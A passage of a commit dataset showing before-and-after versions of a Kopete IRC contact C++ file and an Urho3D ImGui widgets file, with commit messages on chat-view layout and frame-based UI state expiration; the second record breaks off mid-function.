mTarget);\n\t}\n\n\tconnect(mContact, SIGNAL(quittingServer()), this, SLOT(slotServerIsQuitting()));\n\tconnect(mContact, SIGNAL(serverQuit()), this, SLOT(slotServerHasQuit()));\n\tconnect(mContact->engine, SIGNAL(incomingPartedChannel(const QString &, const QString &, const QString &)), this, SLOT(slotPartedChannel(const QString &, const QString &, const QString &)));\n\tif (joinOnConnect == true)\n\t{\n\t\tif (mContact->engine->isLoggedIn() == true)\n\t\t{\n\t\t\tjoinNow();\n\t\t} else {\n\t\t\tQObject::connect(mContact->engine, SIGNAL(connectedToServer()), this, SLOT(joinNow()));\n\t\t}\n\t}\n}\n\nvoid IRCContact::slotServerHasQuit()\n{\n\tdelete this;\n}\n\nvoid IRCContact::slotServerIsQuitting()\n{\n\tif (requestedQuit == false)\n\t{\n\t\tQColor color(175, 8, 8);\n\t\tQString partWarning = \"<font color=\";\n\t\tpartWarning.append(color.name());\n\t\tpartWarning.append(\">Attempting to quit server. If this takes an unusual amount of time, please right click on one of the channels or server in Kopete contact list and click \\\"Quit IRC Server\\\" again.<\/font><br>\");\n\t\tchatView->chatView->append(partWarning);\n\t\tchatView->chatView->scrollToBottom();\n\t}\n}\n\nvoid IRCContact::rightButtonPressed(const QPoint &point)\n{\n\tpopup = new KPopupMenu();\n\tpopup->insertTitle(mTarget);\n\tpopup->insertItem(\"Part\", this, SLOT(slotPart()));\n\/\/ TODO:\tpopup->insertItem(\"Hop (Part and Re-join)\", this, SLOT(slotHop()));\n\/\/ TODO:\tpopup->insertItem(\"Remove\", this, SLOT(slotRemoveThis()));\n\tpopup->insertTitle(((QListViewItem *)mContact)->text(0));\n\tpopup->insertItem(\"Quit IRC Server\", this, SLOT(slotQuitServer()));\n\tpopup->popup(point);\n}\n\nvoid IRCContact::slotQuitServer()\n{\n\trequestedQuit = true;\n\tmContact->slotQuitServer();\n}\n\nvoid IRCContact::leftButtonDoubleClicked()\n{\n\tif (chatView != 0)\n\t{\n\t\tif (mContact->mWindow->isVisible() == true)\n\t\t{\n\t\t\tmContact->mWindow->raise();\n\t\t\tchatView->setFocus();\n\t\t\tchatView->messageBox->setFocus();\n\t\t}\n\t}\n}\n\nvoid IRCContact::slotPart()\n{\n\tif (chatView != 0)\n\t{\n\t\tQColor color(175, 8, 8);\n\t\tQString partWarning = \"<font color=\";\n\t\tpartWarning.append(color.name());\n\t\tpartWarning.append(\">Attempting to part channel. If this takes an unusual amount of time, please click the close button on this window again, or right click on the contact in the Kopete window and click \\\"Part\\\" again.<\/font><br>\");\n\t\tchatView->chatView->append(partWarning);\n\t\tchatView->chatView->scrollToBottom();\n\t}\n\twaitingPart = true;\n\tmContact->engine->partChannel(QCString(mTarget.local8Bit()) ,QString(\"Using Kopete IRC Plugin\"));\n}\n\nvoid IRCContact::slotPartedChannel(const QString &originating, const QString &channel, const QString &reason)\n{\n\tif (mTarget.lower() == channel.lower() && originating.left(originating.find(\"!\")).lower() == mContact->mNickname.lower())\n\t{\n\t\tunloading();\n\t}\n}\n\nvoid IRCContact::unloading()\n{\n\tif (chatView != 0)\n\t{\n\t\tdelete chatView;\n\t}\n\tmContact->unloading();\n\tdelete this;\n}\n\nvoid IRCContact::slotIncomingMotd(const QString &motd)\n{\n\n}\n\nvoid IRCContact::joinNow()\n{\n\t\n\tmChatViewContainer = new QFrame(mContact->mWindow->mChannelsTabCtl);\n\tmChatViewContainer->resize(300,300);\n\tkdDebug() << \"FUCK PART 1\" << endl;\n\t(new QVBoxLayout(mChatViewContainer, KDialog::marginHint(), KDialog::spacingHint()))->setAutoAdd(true);\n\t(void)new QLabel(i18n(\"<b>Test :-):<\/b>\"),mChatViewContainer );\t\n kdDebug() << \"FUCK PART 2\" << endl;\n\tchatView = new IRCChatView(mServer, mTarget, this, mChatViewContainer);\n\tkdDebug() << \"FUCK PART 3\" << endl;\n\tmContact->mWindow->mChannelsTabCtl->addTab(mChatViewContainer, mTarget);\n mContact->mWindow->adjustSize();\n\tmContact->mWindow->show();\n\tmChatViewContainer->show();\n\tchatView->show();\n\tkdDebug() << \"FUCK PART 4\" << endl;\n\tQObject::connect(mContact->engine, SIGNAL(userJoinedChannel(const QString &, const QString &)), chatView, SLOT(userJoinedChannel(const QString &, const QString &)));\n\tQObject::connect(mContact->engine, SIGNAL(incomingMessage(const QString &, const QString &, const QString &)), chatView, SLOT(incomingMessage(const QString &, const QString &, const QString &)));\n\tQObject::connect(mContact->engine, SIGNAL(incomingPartedChannel(const QString &, const QString &, const QString &)), chatView, SLOT(userPartedChannel(const QString &, const QString &, const QString &)));\n\tQObject::connect(mContact->engine, SIGNAL(incomingNamesList(const QString &, const QString &, const int)), chatView, SLOT(incomingNamesList(const QString &, const QString &, const int)));\n\tQObject::connect(mContact->engine, SIGNAL(incomingAction(const QString &, const QString &, const QString &)), chatView, SLOT(incomingAction(const QString &, const QString &, const QString &)));\n\tQObject::connect(mContact->engine, SIGNAL(incomingQuitIRC(const QString &, const QString &)), chatView, SLOT(userQuitIRC(const QString &, const QString &)));\n\tQObject::connect(mContact->engine, SIGNAL(incomingNickChange(const QString &, const QString &)), chatView, SLOT(nickNameChanged(const QString &, const QString &)));\n\tQObject::connect(mContact->engine, SIGNAL(incomingTopicChange(const QString &, const QString &, const QString &)), chatView, SLOT(incomingNewTopic(const QString &, const QString &, const QString &)));\n\tQObject::connect(mContact->engine, SIGNAL(incomingExistingTopic(const QString &, const QString &)), chatView, SLOT(receivedExistingTopic(const QString &, const QString &)));\n}\n<commit_msg><commit_after>\/***************************************************************************\n irccontact.cpp - description\n -------------------\n begin : Wed Mar 6 2002\n copyright : (C) 2002 by nbetcher\n email : nbetcher@usinternet.com\n ***************************************************************************\/\n\n\/***************************************************************************\n * *\n * This program is free software; you can redistribute it and\/or modify *\n * it under the terms of the GNU General Public License as published by *\n * the Free Software Foundation; either version 2 of the License, or *\n * (at your option) any later version. *\n * *\n ***************************************************************************\/\n\n#include \"irccontact.h\"\n#include <kmessagebox.h>\n#include <qlayout.h>\n#include <kdialog.h>\n#include <kdebug.h>\n#include <kconfig.h>\n#include <ktabctl.h>\n#include <kstddirs.h>\n#include <ircchatwindow.h>\n\nIRCContact::IRCContact(QListViewItem *parent, const QString &server, const QString &target, unsigned int port, bool joinOnConnect, IRCServerContact *contact)\n\t: IMContact(parent)\n{\n\tengine = contact->engine;\n\trequestedQuit = false;\n\tKGlobal::config()->setGroup(\"IRC\");\n\tQString newServer;\n\tif (server.isEmpty() == true)\n\t{\n\t\tnewServer = KGlobal::config()->readEntry(\"Server\", \"irc.openprojects.net\");\n\t\tmServer = newServer;\n\t} else {\n\t\tmServer = server;\n\t}\n\tif (port == 0)\n\t{\n\t\tunsigned int port = KGlobal::config()->readEntry(\"Port\", \"6667\").toUInt();\n\t}\n\tQString user = \"kopeteuser\";\n\tQString nick = KGlobal::config()->readEntry(\"Nickname\", \"KopeteUser\");\n\n\tmContact = contact;\n\tmTarget = target;\n\tmPort = port;\n\tmUsername = user;\n\tmNickname = nick;\n\tmJoinOnConnect = joinOnConnect;\n\n\tif (target[0] == '#' || target[0] == '!' || target[0] == '&')\n\t{\n\t\tsetPixmap(0, locate(\"data\", \"kopete\/pics\/irc_privmsg.xpm\"));\n\t\tQString oldTarget = mTarget;\n\t\tmTarget = mTarget.remove(0,1);\n\t\tsetText(0, mTarget);\n\t\tmTarget = oldTarget;\n\t} else {\n\t\tsetText(0, mTarget);\n\t}\n\n\tconnect(mContact, SIGNAL(quittingServer()), this, SLOT(slotServerIsQuitting()));\n\tconnect(mContact, SIGNAL(serverQuit()), this, SLOT(slotServerHasQuit()));\n\tconnect(mContact->engine, SIGNAL(incomingPartedChannel(const QString &, const QString &, const QString &)), this, SLOT(slotPartedChannel(const QString &, const QString &, const QString &)));\n\tif (joinOnConnect == true)\n\t{\n\t\tif (mContact->engine->isLoggedIn() == true)\n\t\t{\n\t\t\tjoinNow();\n\t\t} else {\n\t\t\tQObject::connect(mContact->engine, SIGNAL(connectedToServer()), this, SLOT(joinNow()));\n\t\t}\n\t}\n}\n\nvoid IRCContact::slotServerHasQuit()\n{\n\tdelete this;\n}\n\nvoid IRCContact::slotServerIsQuitting()\n{\n\tif (requestedQuit == false)\n\t{\n\t\tQColor color(175, 8, 8);\n\t\tQString partWarning = \"<font color=\";\n\t\tpartWarning.append(color.name());\n\t\tpartWarning.append(\">Attempting to quit server. If this takes an unusual amount of time, please right click on one of the channels or server in Kopete contact list and click \\\"Quit IRC Server\\\" again.<\/font><br>\");\n\t\tchatView->chatView->append(partWarning);\n\t\tchatView->chatView->scrollToBottom();\n\t}\n}\n\nvoid IRCContact::rightButtonPressed(const QPoint &point)\n{\n\tpopup = new KPopupMenu();\n\tpopup->insertTitle(mTarget);\n\tpopup->insertItem(\"Part\", this, SLOT(slotPart()));\n\/\/ TODO:\tpopup->insertItem(\"Hop (Part and Re-join)\", this, SLOT(slotHop()));\n\/\/ TODO:\tpopup->insertItem(\"Remove\", this, SLOT(slotRemoveThis()));\n\tpopup->insertTitle(((QListViewItem *)mContact)->text(0));\n\tpopup->insertItem(\"Quit IRC Server\", this, SLOT(slotQuitServer()));\n\tpopup->popup(point);\n}\n\nvoid IRCContact::slotQuitServer()\n{\n\trequestedQuit = true;\n\tmContact->slotQuitServer();\n}\n\nvoid IRCContact::leftButtonDoubleClicked()\n{\n\tif (chatView != 0)\n\t{\n\t\tif (mContact->mWindow->isVisible() == true)\n\t\t{\n\t\t\tmContact->mWindow->raise();\n\t\t\tchatView->setFocus();\n\t\t\tchatView->messageBox->setFocus();\n\t\t}\n\t}\n}\n\nvoid IRCContact::slotPart()\n{\n\tif (chatView != 0)\n\t{\n\t\tQColor color(175, 8, 8);\n\t\tQString partWarning = \"<font color=\";\n\t\tpartWarning.append(color.name());\n\t\tpartWarning.append(\">Attempting to part channel. If this takes an unusual amount of time, please click the close button on this window again, or right click on the contact in the Kopete window and click \\\"Part\\\" again.<\/font><br>\");\n\t\tchatView->chatView->append(partWarning);\n\t\tchatView->chatView->scrollToBottom();\n\t}\n\twaitingPart = true;\n\tmContact->engine->partChannel(QCString(mTarget.local8Bit()) ,QString(\"Using Kopete IRC Plugin\"));\n}\n\nvoid IRCContact::slotPartedChannel(const QString &originating, const QString &channel, const QString &reason)\n{\n\tif (mTarget.lower() == channel.lower() && originating.left(originating.find(\"!\")).lower() == mContact->mNickname.lower())\n\t{\n\t\tunloading();\n\t}\n}\n\nvoid IRCContact::unloading()\n{\n\tif (chatView != 0)\n\t{\n\t\tdelete chatView;\n\t}\n\tmContact->unloading();\n\tdelete this;\n}\n\nvoid IRCContact::slotIncomingMotd(const QString &motd)\n{\n\n}\n\nvoid IRCContact::joinNow()\n{\n\t\n\t\/* This is a frame inside the tab, where we put the widgets in *\/\n\tmChatViewContainer = new QFrame(mContact->mWindow->mChannelsTabCtl);\n\tmChatViewContainer->resize(640,480);\n\tkdDebug() << \"FUCK PART 1\" << endl;\n\tQVBoxLayout *containerLayout;\n\tcontainerLayout = new QVBoxLayout(mChatViewContainer);\n\t\/\/(void)new QLabel(i18n(\"<b>Test :-):<\/b>\"),mChatViewContainer );\t\n \/\/(void)new QLabel(i18n(\"<b>Test :-):<\/b>\"), mContact->mWindow->mChannelsTabCtl);\t\n\n\tkdDebug() << \"FUCK PART 2\" << endl;\n\tchatView = new IRCChatView(mServer, mTarget, this, mChatViewContainer);\n\tcontainerLayout->addWidget(chatView);\n\t\/\/chatView = new IRCChatView(mServer, mTarget, this, mContact->mWindow->mChannelsTabCtl );\n\tkdDebug() << \"FUCK PART 3\" << endl;\n\tmContact->mWindow->mChannelsTabCtl->addTab(mChatViewContainer, mTarget);\n \/\/mContact->mWindow->mChannelsTabCtl->addTab(mContact->mWindow->mChannelsTabCtl, mTarget);\n\n\t\/\/mContact->mWindow->adjustSize();\n\tmContact->mWindow->show();\n\tmChatViewContainer->show();\n\tchatView->show();\n\tkdDebug() << \"FUCK PART 4\" << endl;\n\tQObject::connect(mContact->engine, SIGNAL(userJoinedChannel(const QString &, const QString &)), chatView, SLOT(userJoinedChannel(const QString &, const QString &)));\n\tQObject::connect(mContact->engine, SIGNAL(incomingMessage(const QString &, const QString &, const QString &)), chatView, SLOT(incomingMessage(const QString &, const QString &, const QString &)));\n\tQObject::connect(mContact->engine, SIGNAL(incomingPartedChannel(const QString &, const QString &, const QString &)), chatView, SLOT(userPartedChannel(const QString &, const QString &, const QString &)));\n\tQObject::connect(mContact->engine, SIGNAL(incomingNamesList(const QString &, const QString &, const int)), chatView, SLOT(incomingNamesList(const QString &, const QString &, const int)));\n\tQObject::connect(mContact->engine, SIGNAL(incomingAction(const QString &, const QString &, const QString &)), chatView, SLOT(incomingAction(const QString &, const QString &, const QString &)));\n\tQObject::connect(mContact->engine, SIGNAL(incomingQuitIRC(const QString &, const QString &)), chatView, SLOT(userQuitIRC(const QString &, const QString &)));\n\tQObject::connect(mContact->engine, SIGNAL(incomingNickChange(const QString &, const QString &)), chatView, SLOT(nickNameChanged(const QString &, const QString &)));\n\tQObject::connect(mContact->engine, SIGNAL(incomingTopicChange(const QString &, const QString &, const QString &)), chatView, SLOT(incomingNewTopic(const QString &, const QString &, const QString &)));\n\tQObject::connect(mContact->engine, SIGNAL(incomingExistingTopic(const QString &, const QString &)), chatView, SLOT(receivedExistingTopic(const QString &, const QString &)));\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/\n\/\/ Copyright (c) 2018 Rokas Kupstys\n\/\/\n\/\/ Permission is hereby granted, free of charge, to any person obtaining a copy\n\/\/ of this software and associated documentation files (the \"Software\"), to deal\n\/\/ in the Software without restriction, including without limitation the rights\n\/\/ to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n\/\/ copies of the Software, and to permit persons to whom the Software is\n\/\/ furnished to do so, subject to the following conditions:\n\/\/\n\/\/ The above copyright notice and this permission notice shall be included in\n\/\/ all copies or substantial portions of the Software.\n\/\/\n\/\/ THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n\/\/ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n\/\/ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n\/\/ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n\/\/ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n\/\/ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n\/\/ THE SOFTWARE.\n\/\/\n\n#include \"Widgets.h\"\n#include <ImGui\/imgui_internal.h>\n#include <Urho3D\/Core\/Context.h>\n#include <Urho3D\/Input\/Input.h>\n#include <SDL\/SDL_scancode.h>\n#include <Urho3D\/SystemUI\/SystemUI.h>\n\nusing namespace Urho3D;\nusing namespace ui::litterals;\n\nnamespace ImGui\n{\n\nconst unsigned UISTATE_EXPIRATION_MS = 30000;\n\nstruct UIStateWrapper\n{\n void Set(void* state, void(*deleter)(void*)=nullptr)\n {\n state_ = state;\n deleter_ = deleter;\n }\n\n void Unset()\n {\n if (deleter_ && state_)\n deleter_(state_);\n state_ = nullptr;\n deleter_ = nullptr;\n }\n\n void* Get(bool keepAlive=true)\n {\n if (keepAlive)\n timer_.Reset();\n return state_;\n }\n\n bool IsExpired()\n {\n return timer_.GetMSec(false) >= UISTATE_EXPIRATION_MS;\n }\n\nprotected:\n \/\/\/ User state pointer.\n void* state_ = nullptr;\n \/\/\/ Function that handles deleting state object when it becomes unused.\n void(*deleter_)(void* state) = nullptr;\n \/\/\/ Timer which determines when state expires.\n Timer timer_;\n};\n\nHashMap<ImGuiID, UIStateWrapper> uiState_;\n\nvoid SetUIStateP(void* state, void(*deleter)(void*))\n{\n auto id = ui::GetCurrentWindow()->IDStack.back();\n uiState_[id].Set(state, deleter);\n}\n\nvoid* GetUIStateP()\n{\n void* result = nullptr;\n auto id = ui::GetCurrentWindow()->IDStack.back();\n auto it = uiState_.Find(id);\n if (it != uiState_.End())\n result = it->second_.Get();\n\n \/\/ Every 30s check all saved states and remove expired ones.\n static Timer gcTimer;\n if (gcTimer.GetMSec(false) > UISTATE_EXPIRATION_MS)\n {\n gcTimer.Reset();\n\n for (auto jt = uiState_.Begin(); jt != uiState_.End();)\n {\n if (jt->second_.IsExpired())\n {\n jt->second_.Unset();\n jt = uiState_.Erase(jt);\n }\n else\n ++jt;\n }\n }\n\n return result;\n}\n\nvoid ExpireUIStateP()\n{\n auto it = uiState_.Find(ui::GetCurrentWindow()->IDStack.back());\n if (it != uiState_.End())\n {\n it->second_.Unset();\n uiState_.Erase(it);\n }\n}\n\nint DoubleClickSelectable(const char* label, bool* p_selected, ImGuiSelectableFlags flags, const ImVec2& size)\n{\n bool wasSelected = p_selected && *p_selected;\n if (ui::Selectable(label, p_selected, flags | ImGuiSelectableFlags_AllowDoubleClick, size))\n {\n if (wasSelected && ui::IsMouseDoubleClicked(MOUSEB_LEFT))\n return 2;\n else\n return 1;\n }\n if (ui::IsItemHovered() && ui::IsMouseClicked(MOUSEB_RIGHT))\n {\n *p_selected = true;\n return 1;\n }\n return 0;\n}\n\nint DoubleClickSelectable(const char* label, bool selected, ImGuiSelectableFlags flags, const ImVec2& size)\n{\n return DoubleClickSelectable(label, &selected, flags, size);\n}\n\nbool CollapsingHeaderSimple(const char* label, ImGuiTreeNodeFlags flags)\n{\n ImGuiWindow* window = ui::GetCurrentWindow();\n if (window->SkipItems)\n return false;\n\n ui::PushStyleColor(ImGuiCol_HeaderActive, 0);\n ui::PushStyleColor(ImGuiCol_HeaderHovered, 0);\n ui::PushStyleColor(ImGuiCol_Header, 0);\n bool open = ui::TreeNodeBehavior(window->GetID(label), flags | ImGuiTreeNodeFlags_NoAutoOpenOnLog | ImGuiTreeNodeFlags_NoTreePushOnOpen, label);\n ui::PopStyleColor(3);\n return open;\n}\n\nbool ToolbarButton(const char* label)\n{\n auto& g = *ui::GetCurrentContext();\n float dimension = g.FontBaseSize + g.Style.FramePadding.y * 2.0f;\n return ui::ButtonEx(label, {0, dimension}, ImGuiButtonFlags_PressedOnClick);\n}\n\nvoid SetHelpTooltip(const char* text, Key requireKey)\n{\n unsigned scancode = requireKey & (~SDLK_SCANCODE_MASK);\n if (ui::IsItemHovered() && (requireKey == KEY_UNKNOWN || ui::IsKeyDown(scancode)))\n ui::SetTooltip(\"%s\", text);\n}\n\nbool IconButton(const char* label)\n{\n float size = ui::GetItemRectSize().y;\n return ui::Button(label, {size, size});\n}\n\nbool MaskSelector(unsigned int* mask)\n{\n bool modified = false;\n auto style = ui::GetStyle();\n auto pos = ui::GetCursorPos();\n\n for (auto row = 0; row < 2; row++)\n {\n for (auto col = 0; col < 16; col++)\n {\n auto bitPosition = row * 16 + col;\n int bitMask = 1 << bitPosition;\n bool selected = (*mask & bitMask) != 0;\n if (selected)\n {\n ui::PushStyleColor(ImGuiCol_Button, style.Colors[ImGuiCol_ButtonActive]);\n ui::PushStyleColor(ImGuiCol_ButtonHovered, style.Colors[ImGuiCol_ButtonActive]);\n }\n else\n {\n ui::PushStyleColor(ImGuiCol_Button, style.Colors[ImGuiCol_Button]);\n ui::PushStyleColor(ImGuiCol_ButtonHovered, style.Colors[ImGuiCol_Button]);\n }\n\n ui::PushID(bitMask);\n if (ui::Button(\"\", {8_dpx, 9_dpy}))\n {\n modified = true;\n *mask ^= bitMask;\n }\n if (ui::IsItemHovered())\n ui::SetTooltip(\"%d\", bitPosition);\n ui::PopID();\n ui::SameLine(0, 0);\n ui::PopStyleColor(2);\n }\n ui::NewLine();\n if (row < 1)\n ui::SetCursorPos({pos.x, pos.y + 9_dpy});\n }\n\n return modified;\n}\n\nenum TransformResizeType\n{\n RESIZE_NONE = 0,\n RESIZE_LEFT = 1,\n RESIZE_RIGHT = 2,\n RESIZE_TOP = 4,\n RESIZE_BOTTOM = 8,\n RESIZE_MOVE = 15,\n};\n\n}\n\/\/\/ Flag manipuation operators.\nURHO3D_FLAGSET_EX(ImGui, TransformResizeType, TransformResizeTypeFlags);\n\nnamespace ImGui\n{\n\/\/\/ Hashing function which enables use of enum type as a HashMap key.\ninline unsigned MakeHash(const TransformResizeType& value) { return value; }\n\nbool TransformRect(IntRect& inOut, TransformSelectorFlags flags)\n{\n IntRect delta;\n return TransformRect(inOut, delta, flags);\n}\n\nbool TransformRect(Urho3D::IntRect& inOut, Urho3D::IntRect& delta, TransformSelectorFlags flags)\n{\n struct State\n {\n \/\/\/ A flag indicating type of resize action currently in progress\n TransformResizeTypeFlags resizing_ = RESIZE_NONE;\n \/\/\/ A cache of system cursors\n HashMap<TransformResizeTypeFlags, SDL_Cursor*> cursors_;\n \/\/\/ Default cursor shape\n SDL_Cursor* cursorArrow_;\n \/\/\/ Flag indicating that this selector set cursor handle\n bool ownsCursor_ = false;\n\n State()\n {\n cursors_[RESIZE_MOVE] = SDL_CreateSystemCursor(SDL_SYSTEM_CURSOR_SIZEALL);\n cursors_[RESIZE_LEFT] = cursors_[RESIZE_RIGHT] = SDL_CreateSystemCursor(SDL_SYSTEM_CURSOR_SIZEWE);\n cursors_[RESIZE_BOTTOM] = cursors_[RESIZE_TOP] = SDL_CreateSystemCursor(SDL_SYSTEM_CURSOR_SIZENS);\n cursors_[RESIZE_TOP | RESIZE_LEFT] = cursors_[RESIZE_BOTTOM | RESIZE_RIGHT] = SDL_CreateSystemCursor(\n SDL_SYSTEM_CURSOR_SIZENWSE);\n cursors_[RESIZE_TOP | RESIZE_RIGHT] = cursors_[RESIZE_BOTTOM | RESIZE_LEFT] = SDL_CreateSystemCursor(\n SDL_SYSTEM_CURSOR_SIZENESW);\n cursorArrow_ = SDL_CreateSystemCursor(SDL_SYSTEM_CURSOR_ARROW);\n }\n\n ~State()\n {\n SDL_FreeCursor(cursorArrow_);\n for (const auto& it : cursors_)\n SDL_FreeCursor(it.second_);\n }\n };\n\n Input* input = ui::GetSystemUI()->GetSubsystem<Input>();\n\n auto renderHandle = [&](IntVector2 screenPos, int wh) -> bool {\n IntRect rect(\n screenPos.x_ - wh \/ 2,\n screenPos.y_ - wh \/ 2,\n screenPos.x_ + wh \/ 2,\n screenPos.y_ + wh \/ 2\n );\n\n if (!(flags & TSF_HIDEHANDLES))\n {\n ui::GetWindowDrawList()->AddRectFilled(ToImGui(rect.Min()), ToImGui(rect.Max()),\n ui::GetColorU32(ToImGui(Color::RED)));\n }\n\n return rect.IsInside(input->GetMousePosition()) == INSIDE;\n };\n\n auto size = inOut.Size();\n auto handleSize = Max(Min(Min(size.x_ \/ 4, size.y_ \/ 4), 8), 2);\n bool modified = false;\n\n auto* s = ui::GetUIState<State>();\n auto id = ui::GetID(s);\n\n \/\/ Extend rect to cover resize handles that are sticking out of ui element boundaries.\n auto extendedRect = inOut + IntRect(-handleSize \/ 2, -handleSize \/ 2, handleSize \/ 2, handleSize \/ 2);\n ui::ItemSize(ToImGui(inOut));\n if (ui::ItemAdd(ToImGui(extendedRect), id))\n {\n TransformResizeTypeFlags resizing = RESIZE_NONE;\n if (renderHandle(inOut.Min() + size \/ 2, handleSize))\n resizing = RESIZE_MOVE;\n\n bool canResizeHorizontal = !(flags & TSF_NOHORIZONTAL);\n bool canResizeVertical = !(flags & TSF_NOVERTICAL);\n\n if (canResizeHorizontal && canResizeVertical)\n {\n if (renderHandle(inOut.Min(), handleSize))\n resizing = RESIZE_LEFT | RESIZE_TOP;\n if (renderHandle(inOut.Min() + IntVector2(0, size.y_), handleSize))\n resizing = RESIZE_LEFT | RESIZE_BOTTOM;\n if (renderHandle(inOut.Min() + IntVector2(size.x_, 0), handleSize))\n resizing = RESIZE_TOP | RESIZE_RIGHT;\n if (renderHandle(inOut.Max(), handleSize))\n resizing = RESIZE_BOTTOM | RESIZE_RIGHT;\n }\n\n if (canResizeHorizontal)\n {\n if (renderHandle(inOut.Min() + IntVector2(0, size.y_ \/ 2), handleSize))\n resizing = RESIZE_LEFT;\n if (renderHandle(inOut.Min() + IntVector2(size.x_, size.y_ \/ 2), handleSize))\n resizing = RESIZE_RIGHT;\n }\n\n if (canResizeVertical)\n {\n if (renderHandle(inOut.Min() + IntVector2(size.x_ \/ 2, 0), handleSize))\n resizing = RESIZE_TOP;\n if (renderHandle(inOut.Min() + IntVector2(size.x_ \/ 2, size.y_), handleSize))\n resizing = RESIZE_BOTTOM;\n }\n\n \/\/ Draw rect around selected element\n ui::GetWindowDrawList()->AddRect(ToImGui(inOut.Min()), ToImGui(inOut.Max()),\n ui::GetColorU32(ToImGui(Color::RED)));\n\n \/\/ Reset mouse cursor if we are not hovering any handle and are not resizing\n if (resizing == RESIZE_NONE && s->resizing_ == RESIZE_NONE && s->ownsCursor_)\n {\n SDL_SetCursor(s->cursorArrow_);\n s->ownsCursor_ = false;\n }\n\n \/\/ Prevent interaction when something else blocks inactive transform.\n if (s->resizing_ != RESIZE_NONE || (ui::IsItemHovered(ImGuiHoveredFlags_RectOnly) &&\n (!ui::IsWindowHovered(ImGuiHoveredFlags_AnyWindow) || ui::IsWindowHovered())))\n {\n \/\/ Set mouse cursor if handle is hovered or if we are resizing\n if (resizing != RESIZE_NONE && !s->ownsCursor_)\n {\n SDL_SetCursor(s->cursors_[resizing]);\n s->ownsCursor_ = true;\n }\n\n \/\/ Begin resizing\n if (ui::IsMouseClicked(0))\n s->resizing_ = resizing;\n\n IntVector2 d = ToIntVector2(ui::GetIO().MouseDelta);\n if (s->resizing_ != RESIZE_NONE)\n {\n ui::SetActiveID(id, ui::GetCurrentWindow());\n if (!ui::IsMouseDown(0))\n s->resizing_ = RESIZE_NONE;\n else if (d != IntVector2::ZERO)\n {\n delta = IntRect::ZERO;\n\n if (s->resizing_ == RESIZE_MOVE)\n {\n delta.left_ += d.x_;\n delta.right_ += d.x_;\n delta.top_ += d.y_;\n delta.bottom_ += d.y_;\n modified = true;\n }\n else\n {\n if (s->resizing_ & RESIZE_LEFT)\n {\n delta.left_ += d.x_;\n modified = true;\n }\n else if (s->resizing_ & RESIZE_RIGHT)\n {\n delta.right_ += d.x_;\n modified = true;\n }\n\n if (s->resizing_ & RESIZE_TOP)\n {\n delta.top_ += d.y_;\n modified = true;\n }\n else if (s->resizing_ & RESIZE_BOTTOM)\n {\n delta.bottom_ += d.y_;\n modified = true;\n }\n }\n }\n }\n else if (ui::IsItemActive())\n ui::SetActiveID(0, ui::GetCurrentWindow());\n\n if (modified)\n inOut += delta;\n }\n else if (ui::IsItemActive())\n ui::SetActiveID(0, ui::GetCurrentWindow());\n }\n return modified;\n}\n\nSystemUI* GetSystemUI()\n{\n return static_cast<SystemUI*>(ui::GetIO().UserData);\n}\n\nbool EditorToolbarButton(const char* text, const char* tooltip, bool active)\n{\n const auto& style = ui::GetStyle();\n if (active)\n ui::PushStyleColor(ImGuiCol_Button, style.Colors[ImGuiCol_ButtonActive]);\n else\n ui::PushStyleColor(ImGuiCol_Button, style.Colors[ImGuiCol_Button]);\n bool result = ui::ToolbarButton(text);\n ui::PopStyleColor();\n ui::SameLine(0, 0);\n if (ui::IsItemHovered() && tooltip)\n ui::SetTooltip(\"%s\", tooltip);\n return result;\n}\n\nvoid OpenTreeNode(ImGuiID id)\n{\n auto& storage = ui::GetCurrentWindow()->DC.StateStorage;\n if (!storage->GetInt(id))\n {\n storage->SetInt(id, true);\n ui::TreePushRawID(id);\n }\n}\n\n}\n<commit_msg>Toolbox\/SystemUI: Replace timer-based ui state expiration with frame-based expiration. Items unused for two frames in a row are deleted.<commit_after>\/\/\n\/\/ Copyright (c) 2018 Rokas Kupstys\n\/\/\n\/\/ Permission is hereby granted, free of charge, to any person obtaining a copy\n\/\/ of this software and associated documentation files (the \"Software\"), to deal\n\/\/ in the Software without restriction, including without limitation the rights\n\/\/ to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n\/\/ copies of the Software, and to permit persons to whom the Software is\n\/\/ furnished to do so, subject to the following conditions:\n\/\/\n\/\/ The above copyright notice and this permission notice shall be included in\n\/\/ all copies or substantial portions of the Software.\n\/\/\n\/\/ THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n\/\/ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n\/\/ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n\/\/ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n\/\/ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n\/\/ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n\/\/ THE SOFTWARE.\n\/\/\n\n#include \"Widgets.h\"\n#include <ImGui\/imgui_internal.h>\n#include <Urho3D\/Core\/Context.h>\n#include <Urho3D\/Input\/Input.h>\n#include <SDL\/SDL_scancode.h>\n#include <Urho3D\/SystemUI\/SystemUI.h>\n\nusing namespace Urho3D;\nusing namespace ui::litterals;\n\nnamespace ImGui\n{\n\nstruct UIStateWrapper\n{\n void Set(void* state, void(*deleter)(void*)=nullptr)\n {\n lastUse_ = ui::GetCurrentContext()->FrameCount;\n state_ = state;\n deleter_ = deleter;\n }\n\n void Unset()\n {\n if (deleter_ && state_)\n deleter_(state_);\n state_ = nullptr;\n deleter_ = nullptr;\n }\n\n void* Get()\n {\n lastUse_ = ui::GetCurrentContext()->FrameCount;\n return state_;\n }\n\n bool IsExpired()\n {\n return (ui::GetCurrentContext()->FrameCount - lastUse_) > 1;\n 